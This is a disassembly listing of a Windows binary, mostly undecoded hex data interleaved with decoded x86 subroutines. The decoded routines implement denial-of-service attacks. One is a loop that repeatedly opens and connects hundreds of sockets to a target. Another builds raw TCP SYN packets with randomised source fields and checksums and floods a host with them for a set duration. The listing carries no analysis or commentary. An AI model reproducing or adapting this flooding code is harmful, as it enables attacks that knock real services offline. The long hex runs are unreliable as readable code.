dd 0FFFFFE44h, 685B016Ah, 0FFh, 0A5F3036Ah, 9889026Ah dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h dd 90575959h, 2FD0C7E8h, 0F44D8D02h, 3351046Ah, 57026AFFh dd 0F45D8950h, 0B63415FFh db 4Ch, 0 word_412F4E dw 0F883h ; DATA XREF: ___:off_43A86Co dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22FD050h, 0FE48858Dh dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh, 8D572075h dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h, 21A7E850h dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0CFEAE857h, 6A90022Fh dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h, 15FF50FFh dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h dd 194h, 41C68h, 0C805C600h, 45004CE3h, 0B65415FFh, 7D39004Ch dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h dd 0E8004CE3h, 87E2h, 100B999h, 0F9F70000h, 0E3DC1588h dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h dd 87BCE800h, 0B9990000h, 0F0h, 40068h, 66F9F700h, 0E3DE3D89h dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h dd 0B9990000h, 0FFh, 6852F9F7h, 4CE3E4h, 842FE8h, 0CC48300h dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFE4885h, 875FFFFh dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h dd 59FFFF82h, 0E8905759h, 22FCE00h, 0FFFC75FFh, 4CB6EC15h dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h, 14E9C1D0h dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h dd 22FCD7Ch db 90h byte_413285 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5510o dd 10320B8h, 888EE800h, 458B0000h, 57565308h, 0F08B496Ah dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h, 15FF0000h dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h, 858D14C4h dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h, 5959FFFFh dd 0BDE89057h, 3B022FCCh, 8B0C74C3h, 8B0C40h, 4589008Bh dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CB70Ch dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h dd 84BAh, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh dd 0FFFF800Bh, 90535959h, 2FCBEFE8h db 2 byte_413411 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+575Co dd 10310B8h, 8702E800h, 458B0000h, 57565308h, 0F08B496Ah dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h, 2EE80000h dd 90022AD2h, 8492E850h, 6A590000h, 6A026A11h, 0D415FF02h dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h, 83000081h dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0B6D815FFh dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022FCBh dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 838CE81Ah dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 0D99EE8D8h dd 4E900228h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h, 7DF5E8E0h dd 5959FFFFh, 0D9E89057h db 0C9h, 2Fh, 2 byte_413627 db 55h ; DATA XREF: sub_401ACD+4DEDo dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h dd 59FFFF7Dh, 0E8905659h, 22FC93Ch ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C6 proc near ; CODE XREF: ___:004137AFp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB654 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413784 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413711: ; CODE XREF: sub_4136C6+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413719: ; CODE XREF: sub_4136C6+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373C lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373C: ; CODE XREF: sub_4136C6+64j add esi, 4 dec ebx jnz short loc_413719 lea esi, [ebp+var_654] mov ebx, edi loc_41374A: ; CODE XREF: sub_4136C6+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_41374A push 64h nop call near ptr 26A0F44h lea esi, [ebp+var_654] mov ebx, edi loc_41376E: ; CODE XREF: sub_4136C6+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376E dec [ebp+arg_4] jnz short loc_413711 pop edi pop esi pop ebx loc_413784: ; CODE XREF: sub_4136C6+3Ej xor eax, eax leave retn sub_4136C6 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C6 add esp, 18h test eax, eax jnz short loc_4137BE push 1 pop eax loc_4137BE: ; CODE XREF: ___:004137B9j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_4137CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+644Ao dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h, 858D500Ch dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h, 0CC483F6h dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh, 0FF70858Dh dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh dd 0C796E890h, 5E5F022Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386C proc near ; CODE XREF: ___:00413B5Ap var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 test eax, eax jz short loc_4138AC xor eax, eax jmp loc_413B1A ; --------------------------------------------------------------------------- loc_4138AC: ; CODE XREF: sub_41386C+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B12 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB634 cmp eax, 0FFFFFFFFh jz loc_413B08 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB654 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB654 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB654 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB654 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27C0000h lea eax, [ebp+var_8] push eax call near ptr 27B091Ah nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413997: ; CODE XREF: sub_41386C+25Dj ; sub_41386C+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB654 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB6B8 cmp eax, 0FFFFFFFFh jz short loc_413ADC add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27B091Ah mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B05 jl loc_413997 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B05 jmp loc_413997 ; --------------------------------------------------------------------------- loc_413ADC: ; CODE XREF: sub_41386C+247j call dword_4CB5E8 push eax lea eax, [ebp+var_F4] push offset dword_43643C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AD add esp, 10h jmp short loc_413B08 ; --------------------------------------------------------------------------- loc_413B05: ; CODE XREF: sub_41386C+25Bj ; sub_41386C+269j mov ebx, [ebp+arg_8] loc_413B08: ; CODE XREF: sub_41386C+78j ; sub_41386C+297j push [ebp+var_C] call dword_4CB6EC pop esi loc_413B12: ; CODE XREF: sub_41386C+5Bj call dword_4CB5AC mov eax, ebx loc_413B1A: ; CODE XREF: sub_41386C+3Bj pop edi pop ebx leave retn sub_41386C endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386C add esp, 1Ch test eax, eax jnz short loc_413B69 push 1 pop eax loc_413B69: ; CODE XREF: ___:00413B64j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_413B78 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401ACD+6E45o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h, 0FFFFFFFCh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh dd 0FFFF7803h, 90565959h, 2FC3E7E8h, 555E5F02h, 0EC81EC8Bh dd 98h, 6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h dd 4CB634h, 200BEh, 0D2E85600h, 8B000077h, 4270A83Dh, 45895900h dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch dd 6885C766h, 2FFFFFFh, 5415FF00h, 66004CB6h, 0FF6A8589h dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 0F0C453Bh dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h dd 0AC5589F9h, 7B69E8h, 0A4B99900h, 0C600001Fh, 0F745DC45h dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h, 4CB654h dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh, 8514h dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_413E36 dw 8B55h ; DATA XREF: sub_401ACD+53E9o dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh, 890E6AFFh dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h, 79D5E8h dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C102E853h, 8D90022Fh dd 46ACC4Dh, 53026A51h, 0CC758950h, 0B63415FFh, 0F883004Ch dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h, 8D532375h dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h dd 2FC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2FC013E8h, 8D106A02h dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0B69415FFh dd 4589004Ch, 85D89C0h, 4589D7FFh, 2BD7FFD0h, 0D233D045h dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh, 59FFFF6Bh dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h dd 42B28C68h, 0EDE85000h, 59000077h, 7459C085h, 0F05D8909h dd 2F545C6h, 858D5CEBh, 0FFFFFE44h, 42B0C468h, 0CDE85000h dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h, 858D3CEBh dd 0FFFFFE44h, 42B0BC68h, 0ADE85000h, 59000077h, 7459C085h dd 7784E825h, 36A0000h, 0F9F75999h, 0E8F05589h, 7776h dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h, 50146AE8h dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh dd 8113E8h, 0E8458D00h, 8D50146Ah, 0FFFF7485h, 1E850FFh dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFDC485h, 875FFFFh dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 0E8535959h, 22FBD18h dd 0FC75FF90h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h, 0FFFFFBC0h dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh dd 0BC86E890h db 2Fh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A6 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414398: ; CODE XREF: ___:004143A0j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414398 pop edi cmp eax, 1 loc_4143A6: ; CODE XREF: ___:0041438Cj jnz short loc_4143B3 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B3: ; CODE XREF: ___:loc_4143A6j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- dword_4143CC dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401ACD+6D4Ao dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh, 75FFFFFFh dd 858D50F4h, 